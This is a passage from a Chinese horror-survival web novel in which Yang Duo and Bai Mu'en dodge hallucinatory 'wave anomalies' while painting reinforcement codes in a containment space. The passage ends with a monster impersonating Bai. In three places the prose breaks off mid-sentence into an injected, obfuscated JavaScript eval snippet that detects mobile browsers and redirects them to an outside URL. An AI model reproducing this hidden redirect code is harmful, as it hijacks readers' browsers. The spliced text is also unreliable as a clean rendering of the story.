王灵慧心中一动,忙补充一句:“看上什么都可以拿!危机时刻,保命最重要!” “好的。”回应她的是阳朵一个认真的点头。 然后毫不犹豫,飞快拿走了她那堆宝贝装备里,唯一一个混进去的可颂面包。 * 于是,又五分钟后。 再次走在空旷的白色通道内,阳朵一边前行,一边恋恋不舍摸着手里的面包包装袋。 “……说起来,我是不是还没自我介绍过?” 她旁边,同行的绿发男人活跃气氛般开口: “我姓白,白沐恩,你叫我小白大白老白都行——” “哦,不过白白不行。听着长辈分。” “好的白白。”阳朵心不在焉地回应一句,终于舍得把那还残留着香味的面包袋子收好,“我吃饼干的话,会妨碍你做加固吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946453|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “啊?没事啊,吃呗。我跟你说,你不用太拘谨,收容空间里,保持松弛的心态最重要……” 白沐恩边说边仔细观察着两边墙壁,冷不丁听到一阵咔咔咔的声音传来,诧异回头,这才发现阳朵正抱着一块压缩饼干激情干啃。 “……”这意料之外的场景让他默了一下。 但本着调节气氛的想法,他决定还是选择表扬:“对,就要这么松弛!保持住!” ……松弛你个头。我急死了好吗。 阳朵闭了闭眼,无声加快了进食的速度。 根据上一轮的经验,她得吃到把自己快撑死的程度,醒来后才能勉强得到八分饱。可这一轮,她到现在都还没吃多少东西,满打满算也就几根鳕鱼棒和两块压缩饼干。又不知道自己什么时候会死…… 她可不想醒来又饿肚子。 说起来,刚才吃的那点心是叫什么来着? 回忆起不久前刚吃完的可颂面包,阳朵眼睛又忍不住亮了亮。 又软又细腻,嚼起来又很香,下次循环她也要买! 正思索着,二人已经来到了又一处纯白房间。 白沐恩脚步一停,似乎终于找到了什么中意的东西。跟着便招呼着阳朵在旁等待,自己则从包里拿出卷皮尺,开始对着墙根仔细测量。 阳朵不解地看着他忙忙碌碌,突然开口:“对了,你之前为什么要撒谎?” “?”白沐恩惊讶转头,“什么撒谎?” “那怪物追我的时候,你其实根本没听到它的声音吧。”阳朵拍拍领口上沾到的饼干屑,“可你撒谎了。” 她记得清楚,白沐恩说那怪物走路时“叮铃哐啷”的,这描述根本就不对。只可能是在他胡扯。 “哦,那个啊。”白沐恩不好意思地笑了下,再次转过头去,“也没什么。我只是单纯不希望大家在无谓的猜疑上浪费太多时间罢了。” “反正我觉得你没说谎。就顺着你说咯。” 他说着,定睛看了看皮尺上的数据,摇了摇头,遗憾站起。 阳朵观察着他的动作,有点不解:“你不画那个什么加固码吗?” “画不了。”白沐恩叹气,“这面墙不符合我的需求,画了也没用。走吧,去下一个房间。” 奇奇怪怪。阳朵蹙眉,快步跟上:“那个什么加固码,这么挑地方吗?” “不是它挑,是我挑。”白沐恩解释,“加固码这东西,说穿了就是一种有特殊力量的符号……你知道传统文化里的‘符箓’吗?加固码的意义,其实和它差不多。” ……不,完全不知道。 阳朵蹙眉,听见白沐恩继续道:“有天分的人,随手一画即成符。而没那么有天分的人呢,成功率就相对很低,所以就需要追求天时地利人和……” “而我,就属于后一种了。”他冲着阳朵耸了耸肩,“我的能力有限,所以只有在符合我要求的墙壁上,才能画出有效的加固码。不然画了也只是在浪费时间而已。” 阳朵:“……” 坦白讲,至少三分之一没听懂。 不过大致意思还是明白了的:“简单来说,就是你对墙的品质有要求……那你自己造个满意的出来不就好了?” “诶?”白沐恩又是一愣。 “你会造墙的,不是吗?”阳朵鼓着腮帮,不知道他在愣什么,“当时那怪物追我,你不就凭空变了一堵墙出来?” “哦,你说那个啊。”白沐恩这才反应过来,笑了一下,“那种算临时的造物,并不是真正的物质。没办法承载加固码的。” 不然的话,这次重构加固也不用那么折腾了。他原地变三十面墙出来,直接凑满三十个有效加固码,不要太轻松。 “哦……”阳朵似懂非懂,望着白沐恩前行的背影,“那你那造墙的能力又是怎么回事?是某种超自然力量吗?” 她曾听养母说过,荒原上的部分大组织会培养一些超凡者,他们使用的秘术,就属于超自然力量。 “算是吧。你知道‘装配者’吗?我以前是学土木的,不知是不是因为这个,装配后就成了‘河狸’……”白沐恩搔了搔脸颊,不知为何,声音却低了下去。 不止声音低下去,连脚步也停了下来。 阳朵猝不及防,一头撞在他背上。一脸莫名地刚抬起头,就见对方转过身来,神情凝重地冲自己比了个嘘的手势。 而后又抬手,轻轻往前指了一指。 阳朵心头一震,探头出去。 只见不远处的地板上,赫然是一地混着碎肉的血水。 9.第九章 望着不远处那滩血水,阳朵心跳如擂鼓。 并没有凝固痕迹,看上去才蔓开不久……是谁出事了?刘崎巍她们?可和她们分开明明才没多久?还是那个王开洋?可这里应该也不是安全点位啊?而且这怪物不是向来只吃脑子…… 阳朵大脑飞速旋转,不过片刻就已经筛掉了几乎所有的错误答案,并迅速得出了结论—— 眼前这滩血,应该不属于她来这儿后接触过的任何一人。 按说这是个令人心安的结论。可不知为何,心脏反而越跳越快。 正迟疑间,肩膀突然被人轻轻拍了一下,她诧异转头,正对上白沐恩严肃的双眼。 后者不知何时已经绕到了她旁边,正冲她小幅做着冷静的手势。 “冷静。深呼吸。”他放低声音道,“不要去看,不要去思考。你现在看到的不是真的……” ?阳朵微微一怔,旋即毫不迟疑地开口:“行。那我现在该怎么做?往后退吗?” 回应她的是白沐恩略显惊讶的眼神,显然是没料到她能回应得那么快。而后便见他轻轻点了点头。 “嗯,对。往后走。”他依旧努力压低着声音,像是怕惊动了什么,“先退到我们之前的房间里……你还记得我们是从哪扇门进来的吗?” 这个阳朵当然是记得的。不等他说第二遍,她就已经迈着步子,一步一步,倒着走回了来时的房间中。 ——在外闯荡,最重要的就是行动力。该逃命的时候就赶紧逃,别问那么多为什么。好奇心是只有活人才配有的东西。 以上这番话,她养母从小就教她。 迈出门框的刹那,周身果然一松。阳朵立刻深吸口气,再透过门框往回望,果见视野里的地板干干净净的——哪里有什么血水? 果然,是幻觉。 阳朵庆幸地闭了闭眼。 正想再向白沐恩确认一下情况,视线往上一抬,心脏却再次漏跳一拍—— 只见对面房间本该空无一物的墙壁上,不知何时,竟多了个门框。 隔着门框,可以看到一双悬空的脚。不着寸缕、摇摇晃晃。 “……呃……” 阳朵默了一下,认命地扯了扯旁边的人,小声开口:“喂,那边那个——” “我知道,我看到了。”白沐恩同样小声地回答她,“没关系,应该也是假的……继续后退。再退一个房间试试看。” “……?” 阳朵不明所以,但事已至此,她决定还是相信专业的。 于是垂下眼睛,移开视线,小心后退。就这么又退过一个房间,再次抬头,呼吸却再度一滞。 和之前的血水不一样。分明已经退过了一个房间,她的视野里,却还有那双悬空的脚。 他们在往后退。那双悬空的脚却像是在往前追。明明刚才还隔了整整一个房间,这会儿却已经近在咫尺,与他们就只差一扇门的距离,只要阳朵一抬头,就能隔着眼前的门框看到它在打转摇晃。 ……不仅近了。高度似乎都更低了一些。之前只能看到两条苍白的小腿,现在除了小腿,还能看到一角红色的裙摆,以及两只垂在裙边的手。 ……得是什么样的形状,才能让人的手垂到裙子边? 阳朵不敢想。 她不由深吸口气:“喂——” “我知道。”白沐恩连忙应声,声音里也透出几分紧绷,“别紧张,这个阶段是相对安全的……这样,我们再退一个房间。” 阳朵:“?!” 好吧,也行。 不过话说前头,如果这东西真的再追过来,我会直接打断你的腿把你顶前面。 不由自主地咽了口唾沫,阳朵一手探进包里,牢牢握住那仅剩的一罐果酒,这才随着白沐恩一同继续往后退去。 再次穿过来时的门框,这回再抬眼,视野里倒是再没那双骇人的腿了。 阳朵松了口气,这才发觉自己背上不知何时已冒出一层冷汗。 身体凉凉的,却无端有一种松快的感觉。连呼吸都变得畅快了不少,就仿佛在连着做了一小时技工后,终于脱下厚重的防护面罩一般。 好奇怪……刚才看到的那些,有那么吓人吗? 阳朵不确定地想着,人却已经不由自主地软了下来。好一会儿,才找回自己的声音: “诶,刚才那东西,到底是什么?也是幻觉?” 她依稀记得白沐恩刚才好像说了“是假的”的来着。 可要是只是幻觉——那压迫感未免也太强了些。 阳朵情不自禁地蹙眉,耳畔传来白沐恩的声音。或许是因为摆脱了危机,他的音量也终于恢复正常: “算是吧。总之和我们要对付的怪物不是一个东西…… “我们一般管那叫‘波动异常’。也叫‘进食预兆’。” “进食?”阳朵微微一愣,一下坐起了身,“谁吃谁?” “这个空间,来吃我们。”白沐恩边说边抹了抹额上的汗。 阳朵糊涂了:“吃……啊?” “这个空间不是用来关押怪物的吗?为什么还会吃人?” “要问为什么……这个我还真不清楚。我个人感觉这应该只是个拟人手法?”白沐恩搔了搔脸颊,“至于这种规则——或者说规律,倒是很早就有了。” 收容异常的空间材质特殊,对人类而言,也并非完全无害。随着人类在空间中滞留时间的增长,空间也会对人类渐渐展示出排异性——具体表现,就是这种波动异常。 最初级的阶段只是幻视或者幻听,而一旦人类对感知到的幻象产生反应,比如因此而产生思考、联想,或是有剧烈的情绪波动,这种幻象就会进一步具现,产生气味、形态变化,甚至能够移动…… 直至最后,能彻底打破虚与实的界限,攻击人类并造成伤害。 因这种原因而死去的人类,尸体往往会直接被空间所吞噬。这或许也正是“进食”这种说法的由来。 这也是为何他们执行加固任务时,一般都会追求速战速决;先前在确认空间内多了一个怪物时,又宁愿花费时间,去确认那怪物的特征和来历—— 毕竟如果搞不清怪物特征的话,很可能会出现遇到波动异常却无法识别的情况,那反而会让自己陷入危机之中。 “这种波动异常只有在有人的时候才会触发,效果是逐渐累积的。如果直接从产生异常的房间里穿过,哪怕自己没有察觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954672|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际也已经受到很大影响,所以我们一般都会选择直接原路后退。”见阳朵满眼迷茫,白沐恩特意放缓了语速。 “一旦收容空间开始‘进食’,则空间里的每个房间都有可能出现波动异常,只是触发概率不同,其中安全点位的概率最低;而如果某一块空间出现波动,周边区域出现异常的概率也会增加,哪怕是之前没有波动的房间,也有可能跟着变化。” 他们刚才遇到的就是这种情况——因为触发了一次异常,所以之后连着两个房间也都爆发了异常。这种情况下,除了一直后退,直到异常现象消失外,也没别的办法了。 白沐恩说到这儿,略微停了下,神情复又凝重: “但照理说,我是装配者,触发异常的概率比常人低。你又刚进来不久,我俩现在其实还不到该看到幻觉的时候……” 也不知道是不是因为带拿吞噬者的闯入,加速了空间的排异变化。 思及此处,白沐恩心口不由一沉。注意到阳朵紧绷的神情,忙又放缓声音:“怎么了,你没事吧?你要是觉得不能接受的话,我也可以先把你送去点位……” 原本是以为现在还相对安全,所以他才同意阳朵一起的。但眼下这情况,阳朵想走他也完全理解。 “哦不,不是。”阳朵回过神来,赶紧摇头,话语微妙地凝滞了一下,“只是,你这个描述,我听着还怪熟悉的。” “啊,那肯定啊。”白沐恩了然地笑起来,“就san值嘛。小说游戏里常有的。《冰血》里不也有吗?” ……好的,又成群出现了,听不懂的玩意儿。 阳朵撇了撇嘴,想想还是忍不住又问一句:“《冰血》是什么?” 是书吗? “《冰蓝血缘》啊。”白沐恩闻言,反而一愣,“我之前看到你包里有那个游戏女主的限定挂牌,还以为你也玩的。” 挂牌又是什……哦等等,她知道了。 不自觉地摸上挎包,阳朵不着痕迹地转开目光,为免节外生枝,还是又敷衍了一句:“明白了。你刚才说的简称,我没反应过来。” “我说呢。”白沐恩理解地笑笑,四下张望了一下,示意阳朵朝着另一个方向走去。 “说来好巧,龙哥也特别喜欢那个……哦对了,龙哥就是这次行动的外部看守,你进来的时候应该有和他见过……” 阳朵:“……” 约等于一个半的李晨光的那个是吧?那确实见过。 “嗯,见过。他人挺好。”漫不经心地敷衍一句,她望着白沐恩往前的背影。抬脚正要跟上,动作却又一顿。 似是察觉她的异样,白沐恩立刻警觉地回头。 “怎么了?”他立刻向阳朵确认道,“你又发现什么异样了吗?” “……”阳朵定定望着他,没有说话。 视野里,白沐恩正一脸严肃地望着她。 黑白分明的眼睛被稍稍顶开,露出一点点灰色的线状物。 下意识握紧了包里酒罐,阳朵闭了闭眼,鼻翼翕动两下,片刻后,又再次睁开。 “算是吧。”她尽可能平静道,“别往前了。” “保险起见,我觉得我们还是先再退一个房间比较好。” 10.第十章 还好。从结果来看,阳朵的判断没有错。 在又退过一个房间后,白沐恩脸上的异状瞬间消失得干干净净。 他这回也吸取了教训,再三确认过阳朵所见的一切都正常后,这才拿定主意,朝之前未选择的另一个方向走了过去—— 这回他们运气倒是不错,不仅没有再触发波动异常,还找到了一面相当符合白沐恩要求的墙。后者二话不说,立刻掏出工具,当着阳朵的面,就开始往墙上涂抹起来。 阳朵在旁边静静看着他忙碌,只觉他画的那图案眼熟得很,想了一会儿才想起来,应该是在那个放着收音机的古怪大厅见过——那边的墙壁上,也有很多古怪的纹样。 正思索间,白沐恩已经忙完。阳朵看着被他涂过的墙壁,有些奇怪:“就画一个吗?好浪费。” “这个空间材质特殊。一面墙壁上就只能画一个。”白沐恩解释着,小心将手中笔和本子收好,又去收拾一直放在旁边的迷你指示灯。 笔是特制的绘制笔,本子是印满加固码样图的专用笔记本,至于那个指示灯,作用阳朵还不太清楚,只知道白沐恩还没画就把它拿出来,画到大约一半的时候,那灯忽然就自己亮了,随着画出的部分越来越多,它也越来越亮,到了最后,几乎就和个小星星一样了。 白沐恩拎起那盏小灯,熄灭后仔细收进包里。阳朵观察着他的动作,随口问道:“那种四方柱子呢?有四个面呢,也只能画一个?” “那倒不是。那种能画两个。”白沐恩说着,顿了顿又忍不住叹了口气,“不过要是真能遇上就好了。那种柱子可是百搭款,不论哪种加固码都能画,我用起来也很顺手。” 阳朵怔了下,这才意识到,从他们重新出发到现在,确实没再遇到过那种四方柱子。 倒是在她和几人相逢前还遇到过好多。没记错的话,他们几人就是在一个有柱子的房间里相遇的。 “不想要的时候总看见,需要的时候找不到,很多时候都是这样咯。”白沐恩感叹着,将挎包搭在肩上,“这里的房间排布都是随机的。本来就没什么规律可言。再找找看吧。” 阳朵拍拍嘴角的饼干屑,赶紧跟上,没忘趁机继续打听:“那这地方到底有多大啊?” “不好说。反正不按照特定路线走的话,几乎等于没尽头了。”白沐恩摇了摇头。 ……这么大? 这合理吗? 阳朵微微蹙眉,无声加快了脚步。 * 也不知是不是真就运气不好,接下去的整整三十分钟里,他们居然真就一个四方立柱都没看到。 好消息是合适的墙壁倒是连着遇到好几个。走走停停,也陆续凑满了七个加固码。 相应的,波动异常倒是遇到不少—— 血水碎肉、扭曲鬼影什么的就不说了,这种反而还比较好,一眼就能看到。最烦的就是那种藏在各种细微之处的异样,包括但不限于瓷砖的错误排列、挂画里的诡异人像、地上水渍里的含糊倒影……不仔细看,甚至都感觉不出异常它曾来过。 所幸白沐恩经验丰富,阳朵也足够细心,不然就这么直接穿过房间,谁知道之后会发生什么。 不仅如此。不知为何,阳朵眼中的白沐恩也总是奇形怪状。不是五官融化就是七窍流血,一会儿头上长个角一会儿脸上长个虫,最离谱的一次,她居然直接看到对方变成了灰色竹节虫的模样…… “这样看来,你倒挺信任我。都变那样儿了,居然还能忍住不拿酒泼我。” 不知第几次被阳朵拽着退出房间,白沐恩好奇问了下她又看到了啥,听完直接笑起来,笑得还挺开心。 阳朵却是半点高兴不起来,她刚才是真有些被吓到了了。 “我只是有自己的判定方法而已。”她没好气地说着,拉着人就往下一扇门走去,“再说了,酒是重要物资,我可不想浪费更多在你身上。” 边说边继续往前。 就这么又走过四个房间。 阳朵饼干都断断续续又吃掉了一整块,他们却很不幸地再没能找到适合绘制的墙壁。 中途和另外一组联络了一下,组长那边倒是战况喜人,已经画完了十六个有效加固码,是他们的两倍还多;中途还遇到过一次在外游荡的带拿分体,但顺利甩掉,全身而退了。 阳朵听完,只觉困惑。真情实感的困惑。 她很认真地问白沐恩:“为什么一样都是加固者,她们能画十六个,你就不可以? 白沐恩:“……” 朋友,你觉得你这话像话吗? “因为组长在这方面天份比我好,她绘图不用像我那么挑。”郁闷归郁闷,面对阳朵真诚困惑的双眼,他还是尽量认真答了,边说边沿着墙壁往前走: “虽然这么说很残酷,但这东西真就是看天赋。而且她加固码记得应该也比我熟,不像我,只能拿着本子对着画……诶,等等!” 话说一半,声音忽然放低,他匆忙拉住旁边的阳朵,指了指地面,一脸严肃。 ?后者警觉低头,只见脚下的地板上,分明是几条细细的、几不可查的蛛网裂纹。 ……虽然很小,也很自然。 但毫无疑问的,又是波动异常。 阳朵了然点头,随着白沐恩的动作,小心地、慢慢地,又退回了之前的房间。 “这边也走不了……那我们只能掉头了。”顺利回到相对安全的地方,阳朵仔细盘了下情况,不由拧起了眉。 他们先前,正是从另一个出现波动异常的房间退到这个房间,再改走刚才的门,踏上那条长型通道的。 现在看来,却是两个出口都有异常,那只能继续往后再退了。 说完,却听白沐恩低低啧了一声。 她奇怪转头:“怎么了?” “我刚看到,通道对面的房间里有柱子。”白沐恩沉吟,“要是能过去的话,就能一次增加两个有效码了。” “对啊,但这不是过不去……”阳朵话说一半,注意到他的神情,微妙一顿,“别告诉我你想过去。” “嗯。”白沐恩却是非常干脆地点了点头,“我们在这地方待太久了,外面还有怪物在游荡……再拖下去,对谁都不好。” 阳朵蹙眉:“可你不是说——” “理论上来说,穿过两次异常房间才会引发异常影响的质变。而我们之前一次都没有横穿过,等于各有两次机会。”白沐恩抿了抿唇。 “而现在,一共还剩七个加固码没有画。我如果直接过去,一次性就能画上两个。再加上组长她们那边,应该很快就能满额。” “满额后加固码会直接生效,我们也能立刻组织离开,不会停留太久。这样算下来,冒险一次也挺合算……” 话未说完,注意到阳朵不太认同的眼神,忙又补充道: “当然,我一个人去就行了。我是装配者,对波动异常的抗性本来也比常人高……你在这儿等我就好。” 语毕,见阳朵没有反对,忙又在身上摸索几下,掏出好几件细碎物品递了过去。 “喏,这个戒指和应急联络器,你都拿着。如果我二十分钟后还没回来,你就看戒指上的这块石头……石头是黄的说明加固已经完成,红色就是没有……这个应急联络器有按键,到时不管石头变没变色,你都按下这个,组长她们就能来接你……” 匆匆介绍完毕,又指了指旁边一同递来的东西——这玩意儿阳朵没见过,听他说了才知道,原来是叫“印章”。 “这两个印章呢,是我能力的衍生物。只要按在地面上,就能生成对应的墙壁。一种是带门的,一种是不带门的,应该都能用个两三次,万一怪物出现,你就用这个,应该能扛挺久的……” 虽然赶时间,但他依旧说得很细。说完一抬头,见阳朵目光仍在自己身上转来转去,只当她是在担心,又是安抚地一笑。 “放心,只是以防万一。顺利的话我很快就回来了。” “……行吧。”见他这么坚持,阳朵只能依依不舍地从他衣服口袋上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962911|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移开目光,低头研究起手中物件,顺便又掏出一包压缩饼干。 达成共识。白沐恩的脚步声很快远去,咔咔咔的啃噬声则再次响起。事已至此,阳朵自然也没了到处乱跑的心思,就这么一面独自四下张望,一面抓紧时间啃着饼干。 直至现在,她依然觉得这个地方太过超出想象——尤其是这个所谓的收容空间。 荒原也有怪物。不过她其实没咋近距离接触过。唯一一次直面,还是她家被天灾袭击那次: 天灾污染地面,地面繁育怪物,怪物闯进她家,她则被迫流浪天涯。这实在算不上什么美好回忆。 和那些变异动植物不同,荒原的怪物是无法通过寻常手段攻击的。至少就她所知,只有那些由大组织精心培育的秘术师,又或是安装了某些奇特功能模块的改造人,才能拥有与怪物抗衡的力量,但所谓抗衡,也只是为了在直面怪物时能获得更大的存活率…… 而作为一个什么特殊能力都没有的普通人,阳朵一直以来得到的教导就是,遇到怪物,要么赶紧跑,要么就设法躲,躲到它走远了,再赶紧跑。 不论如何,越远越好。 所以她是真的很困惑——怎么会有人选择把怪物成批地“关起来”呢? 还是关在一个有那么多普通人的地方? 抓住、关起来、还要时时检测加固。加固充满风险。从他们目前的研究进度来看,也并未从这些行为中获得什么巨大收益…… 完全超出理解。更无法理解。 ……不过算了,管它呢。 本身就已经是一个不知来源的怪梦了,还那么较真做什么?与其计较这些,不如想想怎么抓紧时间吃饱,还有怎么让现实的自己逃出那片废墟…… 阳朵默默思索着,不知不觉大半饼干已经啃完。 喝了点水,正要继续,忽听不远处脚步声响起。警觉抬头,正见白沐恩沿着走廊疾步赶来。 “太好了,你还在!”看到阳朵,他似乎还松了口气,旋又加快脚步。 阳朵听到他的声音,却是有点奇怪。 “时间还没到呢,我当然在这儿啊。”她说着,慢吞吞地收起食物和水,“你动作那么快?这就弄完了?” “那个房间不对劲,我转了一圈就出来了。”说话间,白沐恩已经跨进房间,不知为何,神情看上去有些焦急,“来不及解释了,总之我们得赶紧离开。” 他脚步不停,看上去似乎真的很急;阳朵看着他逐渐靠近,鼻翼翕动两下,表情却没什么变化。 “离开吗?那我们只能往回走了。”她咕哝一句,给来人指了指房间里唯一一个相对安全的方向,低头又扒拉起自己的挎包,“我先把你给的东西还你……” “来不及了。”白沐恩眉头却拧得更紧,转眼便已朝着阳朵所指的方向迈出几步,又回过身来拉她,“我们必须抓紧时间了,我觉得还是——” 话未说完,眼前突有什么东西一晃。 而后便是一阵极其干脆的、酒液泼洒在皮肤上的声音。 身体僵在原地,似是完全没反应过来。任由刺激性的液体流进眼睛,激起一阵生疼。 顿了一会儿,终于后知后觉地抬手抹脸,还没抹干净,又听隆隆一阵响—— 白沐恩心里咯噔一下,忙加快动作。好不容易再次睁开双眼,面前哪儿还有什么阳朵? 只有一堵纯白的高墙。 …… ……?! 白沐恩傻眼了。好一会儿才像是彻底反应过来,忙叫了两声阳朵的名字,却只听到一阵飞快远去的脚步声。 “糟了!”他脸色瞬间一变,“阳朵?你等等——” 他的锅,他刚才应该好好和她解释的。这下好了、这下好了…… 白沐恩重重啧了一声。抬起双眼,捂在脸上的手也终于拿下来。 ——露出一张被酒液腐蚀到半融化的、爬满灰色经络的脸。 “这下好了。” “到手的食物,又没有了。”